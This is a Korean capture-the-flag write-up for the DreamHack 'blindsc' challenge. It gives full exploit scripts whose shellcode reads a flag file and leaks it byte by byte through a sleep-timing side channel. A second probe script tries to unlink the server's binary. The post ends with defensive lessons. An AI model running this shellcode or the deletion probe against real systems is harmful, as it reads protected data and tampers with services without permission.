실측으로 기본지연 4048ms, 단위 30.230.3ms 가 나왔다. nanosleep 한 번이 요청한 30ms 보다 0.3ms 쯤 더 자는데, 90번 반복이면 그 오차가 한 단위 가까이 쌓인다. 그래서 30ms 를 상수로 쓰지 않고 매번 보정해서 쓴다.

길이도 같은 방식으로 흘렸다. read() 의 반환값을 그대로 재우면 파일 크기가 나온다 — 68바이트였다.


🚀 Full Exploit

보정 → 길이 → 바이트 68개 → 검산 순서로 도는 스크립트다.

#!/usr/bin/env python3
"""blindsc (DreamHack Bronze 1, pwnable) — 체류시간 한 축으로 플래그를 빼낸다.
 
main 은 입력받은 0x100 바이트를 RWX 페이지에 복사해 호출해 주지만, 그 직전에
    fd = open("/dev/null", O_RDWR); dup2(fd,0); dup2(fd,1); dup2(fd,2);
를 해서 표준 입출력 세 개를 모두 /dev/null 로 돌린다. 그래서 고전 orw 쉘코드는
플래그를 정확히 읽어 놓고도 /dev/null 에 쏟는다("Not gonna show you the result!").
 
남은 관측 가능한 축은 **프로세스가 언제 끝나는가** 하나다. 드림핵 서버는
쉘코드가 도는 동안 TCP 연결을 붙잡고 있으므로, 연결이 끊기는 시각을 재면
쉘코드가 얼마나 머물렀는지 알 수 있다. 그래서 쉘코드를 이렇게 만든다.
 
    n = flag[i] - 0x20
    nanosleep(30ms) × n  →  exit
 
단위시간과 기본지연은 값이 고정된 보정용 쉘코드 두 개로 먼저 재고,
경계에 걸린 측정값은 여러 번 재서 최솟값을 쓴다(지터는 항상 '더 느리게' 만든다).
마지막으로 후보 전체를 비교해 일치할 때만 길게 머무는 쉘코드로 검산한다.
 
사용법:
    python3 leak.py host3.dreamhack.games 11905
    python3 leak.py host3.dreamhack.games 11905 --start 39 --prefix 'DH{...}'
"""
import argparse
import socket
import sys
import time
 
from pwn import asm, context
 
context.arch = 'amd64'
context.os = 'linux'
 
MAXLEN = 0x100          # main 이 buf → mmap 페이지로 복사하는 바이트 수
READLEN = 0x100         # 쉘코드가 flag 파일에서 한 번에 읽는 양
UNIT_MS = 30            # 한 단위 체류시간
BIAS = 0x20             # 출력 가능 문자 기준점
 
OPEN_READ = f"""
    push   0x67616c66              /* "flag" — imm32 가 부호확장돼 뒤가 NUL */
    mov    rdi, rsp
    xor    esi, esi                /* O_RDONLY */
    xor    edx, edx
    push   2
    pop    rax
    syscall                        /* open("flag", O_RDONLY) */
    mov    rdi, rax
    mov    rsi, rsp
    sub    rsi, 0x400              /* 스택 아래쪽을 버퍼로 */
    mov    edx, {READLEN}
    xor    eax, eax
    syscall                        /* read(fd, buf, READLEN) → rax=길이 */
"""
 
EXIT = """
    push   60
    pop    rax
    xor    edi, edi
    syscall
"""
 
SLEEP_EBX = f"""
    test   ebx, ebx
    jz     done
loop:
    push   0
    push   {UNIT_MS * 1000 * 1000}
    push   0
    mov    rdi, rsp
    xor    esi, esi
    push   35
    pop    rax                     /* SYS_nanosleep */
    syscall
    add    rsp, 0x18
    dec    ebx
    jnz    loop
done:
"""
 
 
def sc_fixed(n):
    """보정용 — 파일을 읽지 않고 정해진 횟수만 머문다."""
    return asm(f"    endbr64\n    mov ebx, {n}\n" + SLEEP_EBX + EXIT)
 
 
def sc_len():
    """read() 반환값(= 플래그 파일 길이)만큼 머문다."""
    return asm("    endbr64\n" + OPEN_READ + "    mov ebx, eax\n" + SLEEP_EBX + EXIT)
 
 
def sc_byte(idx):
    """flag[idx] - 0x20 만큼 머문다."""
    return asm("    endbr64\n" + OPEN_READ + f"""
    movzx  ebx, byte ptr [rsi + {idx}]
    sub    ebx, {BIAS}
    js     done
""" + SLEEP_EBX + EXIT)
 
 
def sc_verify(cand: bytes, units=90):
    """후보 전체가 파일 내용과 같을 때만 길게 머문다 — 제출 전 검산."""
    sc = asm("    endbr64\n" + OPEN_READ + f"""
    lea    rdi, [rip + cand]
    xor    edx, edx
cmp_loop:
    mov    al, byte ptr [rsi + rdx]
    cmp    al, byte ptr [rdi + rdx]
    jne    done
    inc    edx
    cmp    edx, {len(cand)}
    jb     cmp_loop
    mov    ebx, {units}
""" + SLEEP_EBX + EXIT + """
cand:
""" + "".join(f"    .byte {b}\n" for b in cand))
    if len(sc) > MAXLEN:
        sys.exit(f"[-] 검산 쉘코드 {len(sc)}바이트 — 0x100 초과(후보가 너무 길다)")
    return sc
 
 
def measure(host, port, sc, wait=15.0):
    """쉘코드를 던지고 연결이 끊기까지 걸린 시간(초)."""
    s = socket.create_connection((host, port), timeout=10)
    s.settimeout(wait)
    s.sendall(sc.ljust(MAXLEN, b'\x90'))
    t0 = time.time()
    try:
        while s.recv(4096):
            pass
    except socket.timeout:
        s.close()
        return None
    dt = time.time() - t0
    s.close()
    return dt
 
 
class Oracle:
    """보정값을 들고 '체류시간 → n' 변환을 담당한다."""
 
    def __init__(self, host, port):
        self.host, self.port = host, port
        self.base = measure(host, port, sc_fixed(0))
        time.sleep(0.2)
        t90 = measure(host, port, sc_fixed(90))
        self.unit = (t90 - self.base) / 90
        print(f"[*] 보정: 기본지연 {self.base*1000:.1f}ms, "
              f"단위 {self.unit*1000:.2f}ms (n=90 일 때 {t90*1000:.1f}ms)")
 
    def n_of(self, sc, retries=3):
        """경계에 걸리면 다시 재고 최솟값을 쓴다 — 지터는 늘 더 느리게 만든다."""
        best = None
        for attempt in range(retries):
            dt = measure(self.host, self.port, sc)
            time.sleep(0.15)
            if dt is None:                      # 한도보다 오래 머물렀다(값이 너무 큼)
                continue
            best = dt if best is None else min(best, dt)
            raw = (best - self.base) / self.unit
            if abs(raw - round(raw)) < 0.25:       # 충분히 또렷하면 그만 잰다
                return int(round(raw)), best, attempt + 1
        if best is None:
            return None, None, retries
        raw = (best - self.base) / self.unit
        return int(round(raw)), best, retries
 
 
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('host')
    ap.add_argument('port', type=int)
    ap.add_argument('--start', type=int, default=0, help='이어서 셀 시작 인덱스')
    ap.add_argument('--prefix', default='', help='이미 확정된 앞부분')
    args = ap.parse_args()
 
    orc = Oracle(args.host, args.port)
 
    n_len, dt, _ = orc.n_of(sc_len())
    print(f"[*] 플래그 파일 길이 = {n_len} 바이트 ({dt*1000:.1f}ms)")
    if not 5 <= n_len <= READLEN:
        sys.exit(f"[-] 길이가 이상하다({n_len}) — 중단")
 
    out = bytearray(args.prefix.encode())
    for i in range(args.start, n_len):
        n, dt, tries = orc.n_of(sc_byte(i))
        ch = n + BIAS
        out.append(ch)
        print(f"    [{i:3d}] {dt*1000:7.1f}ms → n={n:3d} → {chr(ch)!r} "
              f"(측정 {tries}회)   {bytes(out).decode(errors='replace')}")
        if ch == ord('}'):
            print("    '}' 를 만났다 — 여기까지가 플래그다")
            break
 
    cand = bytes(out)
    print(f"\n[*] 후보({len(cand)}바이트): {cand.decode(errors='replace')}")
 
    print("[*] 검산 — 후보 전체가 일치할 때만 길게 머무는 쉘코드")
    n, dt, _ = orc.n_of(sc_verify(cand), retries=1)
    if n >= 80:
        print(f"    {dt*1000:.1f}ms (n={n}) → 일치")
        print(f"\n[+] FLAG = {cand.decode()}")
        return 0
    print(f"    {dt*1000:.1f}ms (n={n}) → 불일치. 틀린 바이트가 있다")
    return 1
 
 
if __name__ == '__main__':
    sys.exit(main())
python3 leak.py host3.dreamhack.games 11905
leak.py 를 처음부터 돌린 화면 — 보정으로 기본지연 46ms·단위 30.3ms 를 잡고 길이 68바이트를 읽은 뒤, 1137ms 는 D, 1255ms 는 H, 2795ms 는 여는 중괄호로 한 바이트씩 체류시간이 글자로 환산되며 쌓인다
leak.py 를 처음부터 돌린 화면 — 보정으로 기본지연 46ms·단위 30.3ms 를 잡고 길이 68바이트를 읽은 뒤, 1137ms 는 D, 1255ms 는 H, 2795ms 는 여는 중괄호로 한 바이트씩 체류시간이 글자로 환산되며 쌓인다

2초대는 소문자 hex, 500~800ms 대는 숫자다. 눈으로도 구간이 갈린다.

한 번에 깨끗하게 끝나지는 않았다.

▶🐛 삽질 4 — 단위 경계에 걸린 한 바이트 때문에 검산이 깨졌다

첫 수집에서 39번 바이트가 527ms 로 나왔다. 기본지연을 빼면 482ms, 단위로 나누면 16.5다. '0'(n=16)과 '1'(n=17) 정확히 가운데다. 반올림이 17 을 골랐고, 그게 틀렸다.

검산 쉘코드는 "불일치"만 알려주지 어디가 틀렸는지는 말해 주지 않는다. 그래서 후보를 앞에서부터 잘라 가며 검산을 반복했다. 3바이트 일치, 32바이트 일치, 48바이트 불일치, 40바이트 불일치, 36·38·39바이트 일치 — 일곱 번 만에 39번으로 좁혀졌다.

대책은 두 가지를 같이 넣었다.

하나는 같은 바이트를 여러 번 재서 최솟값을 쓰는 것이다. 네트워크 지터도 스케줄링 지연도 측정을 늘리기만 하지 줄이지는 않는다. 그래서 최솟값이 참값에 가장 가깝다. 반올림 거리가 0.25 안쪽으로 또렷해지면 거기서 멈추고, 아니면 세 번까지 다시 잰다.

다른 하나는 제출 전 전체 검산이다. 후보 전체를 파일 내용과 비교해서 전부 같을 때만 길게 머무는 쉘코드를 한 번 던진다. 이게 통과하면 추측이 아니라 확인이 된다.

python3 leak.py host3.dreamhack.games 11905 --start 60 --prefix 'DH{47e176a97b6e3d5b166b87b5282f6dbe8f40061afd2b944730ba1e681'
leak.py 로 60번째부터 이어 읽은 화면 — 61번 바이트는 경계에 걸려 세 번 측정했고, 2853ms 에서 닫는 중괄호를 만나 멈춘 뒤 68바이트 후보 전체 검산이 2765ms(n=90) 일치로 통과해 FLAG 가 확정된다
leak.py 로 60번째부터 이어 읽은 화면 — 61번 바이트는 경계에 걸려 세 번 측정했고, 2853ms 에서 닫는 중괄호를 만나 멈춘 뒤 68바이트 후보 전체 검산이 2765ms(n=90) 일치로 통과해 FLAG 가 확정된다

68바이트 전부가 일치했다. 체류시간 한 축으로 플래그 하나를 다 읽었다.

DH{47e176a97b6e3d5b166b87b5282f6dbe8f40061afd2b944730ba1e681700fceb}


🔎 같은 오라클로 서버 환경 읽기

이 오라클은 플래그 전용이 아니다. 레지스터에 들어가는 값이면 무엇이든 nanosleep 횟수로 바꿔 읽을 수 있다. 삽질 3의 바이너리 바꿔치기가 왜 실서버에서 안 먹었는지도 이걸로 확인했다.

▸📄 ask.py — syscall 반환값을 체류시간으로 읽는 탐침 (전문)
#!/usr/bin/env python3
"""체류시간 오라클을 '임의 값 읽기'로 일반화한 것.
 
플래그만 꺼내는 데 쓰는 게 아깝다 — 레지스터에 담긴 어떤 값이든
nanosleep 횟수로 바꾸면 그대로 읽을 수 있다. 여기서는 실제 서버가
내 복제본과 어디서 갈라지는지 알아보는 데 쓴다.
  · readlink("/proc/self/exe") 로 내 실행 경로와 길이
  · unlink() 가 실제로 돌려주는 errno
  · getuid()
"""
import sys, time
from pwn import asm, context
sys.path.insert(0, __file__.rsplit('/', 1)[0])
from leak import Oracle, SLEEP_EBX, EXIT, MAXLEN   # 같은 보정·측정 코드를 재사용
 
context.arch = 'amd64'; context.os = 'linux'
 
EXE_PATH = """
    sub    rsp, 0x400
    mov    rbp, rsp
    lea    rdi, [rip + p_exe]
    mov    rsi, rbp
    push   0x100
    pop    rdx
    push   89
    pop    rax                     /* SYS_readlink */
    syscall
    mov    r13d, eax               /* 경로 길이 */
    mov    byte ptr [rbp + rax], 0
"""
P_EXE = """
p_exe:
    .ascii "/proc/self/exe\\0"
"""
 
def sc_uid():
    """uid 는 1000 쯤이라 그대로 재우면 30초다 — 8로 나눠 흘린다."""
    return asm("    endbr64\n    push 102\n    pop rax\n    syscall\n"
               "    shr eax, 3\n    mov ebx, eax\n" + SLEEP_EBX + EXIT)
 
def sc_pathlen():
    return asm("    endbr64\n" + EXE_PATH + "    mov ebx, r13d\n" + SLEEP_EBX + EXIT + P_EXE)
 
def sc_pathbyte(i):
    return asm("    endbr64\n" + EXE_PATH + f"""
    movzx  ebx, byte ptr [rbp + {i}]
    sub    ebx, 0x20
    js     done
""" + SLEEP_EBX + EXIT + P_EXE)
 
def sc_unlink_errno():
    """unlink 가 실패한 이유(errno)를 체류시간으로 흘린다. 0 이면 성공."""
    return asm("    endbr64\n" + EXE_PATH + """
    mov    rdi, rbp
    push   87
    pop    rax                     /* SYS_unlink */
    syscall
    neg    eax                     /* -errno → errno */
    mov    ebx, eax
""" + SLEEP_EBX + EXIT + P_EXE)
 
def sc_access_w():
    """내 실행 파일이 있는 디렉토리에 쓰기 권한이 있나: access(dir, W_OK)."""
    return asm("    endbr64\n" + EXE_PATH + """
    mov    rcx, r13
strip:
    dec    rcx
    cmp    byte ptr [rbp + rcx], 0x2f   /* 마지막 '/' 찾기 */
    jne    strip
    mov    byte ptr [rbp + rcx], 0      /* 디렉토리 경로로 자른다 */
    mov    rdi, rbp
    push   2
    pop    rsi                     /* W_OK */
    push   21
    pop    rax                     /* SYS_access */
    syscall
    neg    eax
    mov    ebx, eax
""" + SLEEP_EBX + EXIT + P_EXE)
 
ERRNO = {0:'성공', 1:'EPERM', 2:'ENOENT', 13:'EACCES', 21:'EISDIR', 26:'ETXTBSY', 30:'EROFS'}
 
H, P = sys.argv[1], int(sys.argv[2])
orc = Oracle(H, P)
n,_,_ = orc.n_of(sc_uid());           print(f"[*] getuid() = {n}")
n,_,_ = orc.n_of(sc_pathlen());       plen = n; print(f"[*] /proc/self/exe 경로 길이 = {plen}")
n,_,_ = orc.n_of(sc_unlink_errno());  print(f"[*] unlink(내 경로) → {n} ({ERRNO.get(n, '?')})")
n,_,_ = orc.n_of(sc_access_w());      print(f"[*] access(내 디렉토리, W_OK) → {n} ({ERRNO.get(n, '?')})")
path = ''
for i in range(min(plen, 48)):
    n,_,_ = orc.n_of(sc_pathbyte(i))
    path += chr(n + 0x20)
    print(f"    경로[{i:2d}] = {chr(n+0x20)!r}   {path}")
print(f"\n[*] 실행 경로 = {path}")
python3 ask.py host3.dreamhack.games 11905
ask.py 실행 결과 — getuid 는 1000 근처, readlink(/proc/self/exe) 로 경로 길이 21과 /home/blindsc/blindsc 한 글자씩이 복원되고, unlink 와 access(W_OK) 는 둘 다 errno 13 EACCES 로 돌아온다
ask.py 실행 결과 — getuid 는 1000 근처, readlink(/proc/self/exe) 로 경로 길이 21과 /home/blindsc/blindsc 한 글자씩이 복원되고, unlink 와 access(W_OK) 는 둘 다 errno 13 EACCES 로 돌아온다

경로는 /home/blindsc/blindsc 로 내가 복제한 템플릿과 똑같은 배치였다. 그런데 unlink 도 디렉토리 access(W_OK) 도 EACCES 다. 실서버는 홈 디렉토리를 계정 소유로 두지 않는다. 옛 adduser 템플릿에서 그 부분만 조여 놓은 것이다.

결국 복제본과 운영본의 차이 두 가지가 각각 한 기법의 운명을 갈랐다.

내 복제본실제 드림핵 서버
쉘코드 실행 중 TCP 연결dup2 직후 끊김 (socat 이 SIGTERM)유지됨
홈 디렉토리 쓰기 권한계정 소유 → 가능EACCES
바이너리 바꿔치기통함 (셸까지)막힘
체류시간 사이드채널막힘통함

복제본이 틀렸다기보다, 복제본에서만 되는 길과 운영본에서만 되는 길이 서로 어긋나 있었다. 양쪽을 다 해 보지 않았으면 둘 중 하나는 못 찾았을 것이다.


📝 결론

출력을 막는 것과 정보를 막는 것은 다르다.

이 문제는 표준 출력 세 개를 전부 /dev/null 로 돌려 "결과는 안 보여준다"고 선언한다. 실제로 바이트 단위 출력은 완전히 0이다. 그런데 프로세스가 언제 끝나는가는 막지 않았고, 그 한 축만으로 68바이트가 전부 샜다. 대역폭이 좁을 뿐 채널은 채널이다.

사이드채널의 정확도는 보정에서 나온다.

nanosleep(30ms) 가 정확히 30ms 가 아니라는 것, 그 0.3ms 가 90번 쌓이면 한 글자를 바꿀 수 있다는 것이 이번의 실제 실패 원인이었다. 단위를 상수로 박지 않고 매번 재고, 경계에 걸리면 다시 재고, 마지막에 전체를 한 번 검산하는 세 겹이 있어야 "읽었다"고 말할 수 있다.

환경을 추측하지 말고 같은 오라클로 물어보면 된다.

바이너리 바꿔치기가 왜 실패했는지는 끝까지 추측으로 남길 뻔했다. unlink 의 errno 를 체류시간으로 흘려 보니 EACCES 한 번에 끝났다. 플래그를 꺼내는 데 쓴 기법이 그대로 디버깅 도구가 된다.

방어 쪽에서 보면 — 출력 리다이렉트는 정보 유출 대책이 아니다. 신뢰할 수 없는 코드를 실행할 수밖에 없는 구조라면 fd 를 막는 게 아니라 코드가 접근할 수 있는 것 자체를 줄여야 한다. seccomp 로 open/openat 을 끊었으면 플래그를 읽는 단계에서 이미 막혔을 것이고, 타이밍 채널을 좁히려면 응답 시점을 고정하거나(연결을 즉시 끊거나) 실행 시간에 상한을 두는 쪽이 맞다. 실제로 내 복제본의 socat 배치는 — 의도한 건 아니겠지만 — 쉘코드 실행 즉시 연결을 끊어서 이 공격을 그대로 막고 있었다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥉 Bronze 3] 널 종결자 한 바이트로 끝나는 오버플로 — DreamHack Is Over 100? 풀이
blog

[🥉 Bronze 3] 널 종결자 한 바이트로 끝나는 오버플로 — DreamHack Is Over 100? 풀이

같은 값을 가진 두 배열을 비교해서 다르면 플래그를 주는 문제. 소스만 보면 arr2 를 넘쳐서 arr3 를 깨면 될 것 같은데, 실제 스택에서는 arr3 가 arr2 아래에 있어 닿지 않는다. 대신 arr1 이 107바이트 위에 있고, fgets 가 붙이는 널 종결자 한 바이트만으로 그걸 빈 문자열로 만들 수 있다. 그런데 너무 많이 쓰면 플래그 버퍼까지 지워져서, 통하는 입력 길이가 106~110 다섯 개뿐인 좁은 구간이 된다.
#dreamhack#ctf#pwn+6
2026-10-28#dreamhack +4
[🥉 Bronze 1] 첫 차이 인덱스를 알려 주는 비교 함수로 카나리를 읽는다 — DreamHack newstrcmp 풀이
blog

[🥉 Bronze 1] 첫 차이 인덱스를 알려 주는 비교 함수로 카나리를 읽는다 — DreamHack newstrcmp 풀이

직접 구현한 strcmp 가 "몇 번째 바이트에서 처음 달랐는지" 와 "어느 쪽이 큰지" 를 그대로 알려 준다. 루프 길이가 s1 의 strlen 이라 짧은 s2 의 끝을 넘어 카나리까지 읽는데, 카나리 첫 바이트가 NUL 이라 비교가 그 자리에서 멈춘다. 그 장벽을 s1 오버플로로 직접 치우고 나머지를 이분탐색으로 복원했다.
#dreamhack#ctf#pwnable+8
2026-10-23#dreamhack +4
[🥉 Bronze 3] 카나리 흘려보고 스택에 셸코드 심기 — DreamHack Return to Shellcode 풀이
blog

[🥉 Bronze 3] 카나리 흘려보고 스택에 셸코드 심기 — DreamHack Return to Shellcode 풀이

NX 가 꺼져(스택 RWX) 있지만 스택 카나리가 켜진 BOF 문제. read 뒤의 printf("%s") 가 카나리의 LSB(\x00) 를 덮으면 상위 7바이트를 흘려주고, 그걸로 카나리를 복원한다. 그다음 gets() 무제한 오버플로우로 스택에 셸코드를 올리고 카나리를 그대로 채운 뒤 반환 주소를 buf 로 돌려 ret2shellcode 로 셸을 띄운다.
#dreamhack#ctf#pwn+6
2026-06-26#dreamhack +4